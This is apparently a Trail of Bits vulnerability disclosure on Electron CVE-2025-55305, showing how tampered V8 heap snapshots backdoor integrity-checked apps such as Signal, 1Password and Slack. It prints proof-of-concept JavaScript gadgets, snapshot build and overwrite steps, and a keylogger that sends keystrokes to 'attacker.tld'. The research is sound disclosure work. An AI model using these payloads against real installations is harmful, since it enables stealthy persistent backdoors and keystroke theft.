Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more
On my first project shadow at Trail of Bits, I investigated a variety of popular Electron-based applications for code integrity checking bypasses. I discovered a way to backdoor Signal, 1Password (patched in v8.11.8-40), Slack, and Chrome by tampering with executable content outside of their code integrity checks. Looking for vulnerabilities that would allow an attacker to slip malicious code into a signed application, I identified a framework-level bypass that affects nearly all applications built on top of the Chromium engine. The following is a dive into Electron CVE-2025-55305, a practical example of backdooring applications by overwriting V8 heap snapshot files.
Application integrity isn’t a new problem
Ensuring code integrity is not a new problem, but approaches to it vary between software ecosystems. The Electron project provides a combination of fuses (a.k.a. feature toggles) to enforce integrity checking on executable script components. These fuses are not on by default, and must be explicitly enabled by the developer.
EnableEmbeddedAsarIntegrityValidation
ensures that the archive containing Electron’s application code is byte-for-byte what the developer packaged with the application, and OnlyLoadAppFromAsar
ensures the archive is the only place application code is loaded from. In combination, these two fuses comprise Electron’s approach to ensuring that any JavaScript that the application loads is tamper-checked before execution. Coupled with OS-level executable code signing, this is intended to provide a guarantee that the code the application runs is exactly what the developer distributed. The loss of this guarantee opens a Pandora’s box of issues, most notably that attackers can:
- Inject persistent, stealthy backdoors into vulnerable applications
- Distribute tampered-with applications that nonetheless pass signature validation
Far from being theoretical, abuse of Electron applications without integrity checking is widespread enough to have its own MITRE ATT&CK technique entry: T1218.015. Loki C2, a popular command and control framework based on this technique, uses backdoored versions of trusted applications (VS Code, Cursor, GitHub Desktop, Tidal, and more) to evade endpoint detection and response (EDR) software such as CrowdStrike Falcon as well as bypass application controls like AppLocker. Knowing this, it’s no surprise to find that organizations with high security requirements like 1Password, Signal, and Slack enable integrity checking in their Electron applications in order to mitigate the risk of those applications becoming the next persistence mechanism of an advanced threat actor.
From frozen pizza to unsigned code execution
In the words of the Google V8 team,
V8 uses a shortcut to speed things up: just like thawing a frozen pizza for a quick dinner, we deserialize a previously-prepared snapshot directly into the heap to get an initialized context. |
---|
Being Chromium-based, Electron apps inherit the use of “V8 heap snapshot” files to speed up loading of their various browser components (see main, preload, renderer). In each component, application logic is executed in a freshly instantiated V8 JavaScript engine sandbox (referred to as a V8 isolate). These V8 isolates are expensive to create from scratch, and therefore Chromium-based apps load previously created baseline state from heap snapshots.
While heap snapshots aren’t outright executable on deserialization, JavaScript builtins within can still be clobbered to achieve code execution. All one would need is a gadget that was executed with high consistency by the host application, and unsigned code could be loaded into any V8 isolate. Oversight in Electron’s implementation of EnableEmbeddedAsarIntegrityValidation
and OnlyLoadAppFromAsar
meant it did not consider heap snapshots as “executable” application content, and thus it did not perform integrity checking on the snapshots. Chromium does not perform integrity checks on heap snapshots either.
Tampering with heap snapshots is particularly problematic when applications are installed to user-writable locations (such as %AppData%\Local
on Windows and /Applications
on macOS, with certain limitations). With the majority of Chromium-derivative applications installing to user-writable paths by default, an attacker with filesystem write access can quietly write a snapshot backdoor to an existing application or bring their own vulnerable application (all without privilege elevation). The snapshot doesn’t present as an executable file, is not rejected by OS code-signing checks, and is not integrity-checked by Chromium or Electron. This makes it an excellent candidate for stealthy persistence, and its inclusion in all V8 isolates makes it an incredibly effective Chromium-based application backdoor.
Gadget hunting
While creating custom V8 heap snapshots normally involves painfully compiling Chromium, Electron thankfully provides a prebuilt component usable for this purpose. Therefore, it’s easy to create a payload that clobbers members of the global scope, and subsequently to run a target application with the crafted snapshot.
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Copy the resulting over file your application's `v8_context_snapshot.bin`
const orig = Array.isArray;
// Use the V8 builtin `Array.isArray` as a gadget.
Array.isArray = function() {
// Attacker code executed when Array.isArray is called.
throw new Error("testing isArray gadget");
};
Clobbering Array.isArray
with a gadget that unconditionally throws an error results in an expected crash, demonstrating that integrity-checked applications happily include unsigned JavaScript from their V8 isolate snapshot. Different builtins can be discovered in different V8 isolates, which allows gadgets to forensically discover which isolate they are running in. For instance, Node.js’s process.pid
and various Node.js methods are uniquely present in the main process’s V8 isolate. The example below demonstrates how gadgets can use this technique to selectively deploy code in different isolates.
const orig = Array.isArray;
// Clobber the V8 builtin `Array.isArray` with a custom implementation
// This is used in diverse contexts across an application's lifecycle
Array.isArray = function() {
// Wait to be loaded in the main process, using process.pid as a sentinel
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
// Accessing undefined builtins throws an exception in some isolates
return orig(...arguments);
}
// Run malicious payload once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');
// Demonstrate the presence of elevated node functionality
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};
Developing a proof of concept
With an effective gadget used by all isolates in Electron applications, it was possible to craft demonstrations of trivial application backdoors in notable Electron applications. To capture the impact, we chose Slack, 1Password, and Signal as high-profile proofs of concept. Note that with unconstrained capabilities in the main process, even more extensive bypasses of application controls (CSP, context isolation) are feasible.
const orig = Array.isArray;
Array.isArray = function() {
// Wait to be loaded in a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {"mode": "no-cors"})
}
}, 1000);
}
return orig(...arguments);
};
With proofs of concept in hand, the team reported this vulnerability to the Electron maintainers as a bypass of the integrity checking fuses. Electron’s maintainers promptly issued CVE-2025-55305. We want to thank the Electron team for handling this report both professionally and expeditiously. They were great to work with, and their strong commitment to user security is commendable. Likewise, we would like to thank the teams at Signal, 1Password and Slack for their quick response to our courtesy disclosure of the issue.
“We were made aware of Electron CVE-2025-55305 through Trail of Bits responsible disclosure and 1Password has patched the vulnerability in v8.11.8-40. Protecting our customers’ data is always our highest priority, and we encourage all customers to update to the latest version of 1Password to ensure they remain secure.” Jacob DePriest, CISO at 1Password
The future looks Chrome
A majority of Electron applications leave integrity checking disabled by default, and most that do enable it are vulnerable to snapshot tampering. However, snapshot-based backdoors pose a risk not just to the Electron ecosystem, but to Chromium-based applications as a whole. My colleague, Emilio Lopez, has taken this technique further by demonstrating the possibility of locally backdooring Chrome and its derivative browsers using a similar technique. Given that these browsers are often installed in user-writable locations, this poses another risk of undetected persistent backdoors.
Despite providing similar mitigations for other code integrity risks, the Chrome team states that local attacks are explicitly excluded from their threat model. We still consider this to be a realistic and plausible avenue for persistent and undetected compromise of a user’s browser, especially since an attacker could distribute copies of Chrome that contain malicious code but still pass code signing. As a mitigation, authors of Chromium-derivative projects should consider applying the same integrity checking controls implemented by the Electron team.
If you’re concerned about similar vulnerabilities in your applications or need assistance implementing proper integrity controls, reach out to our team.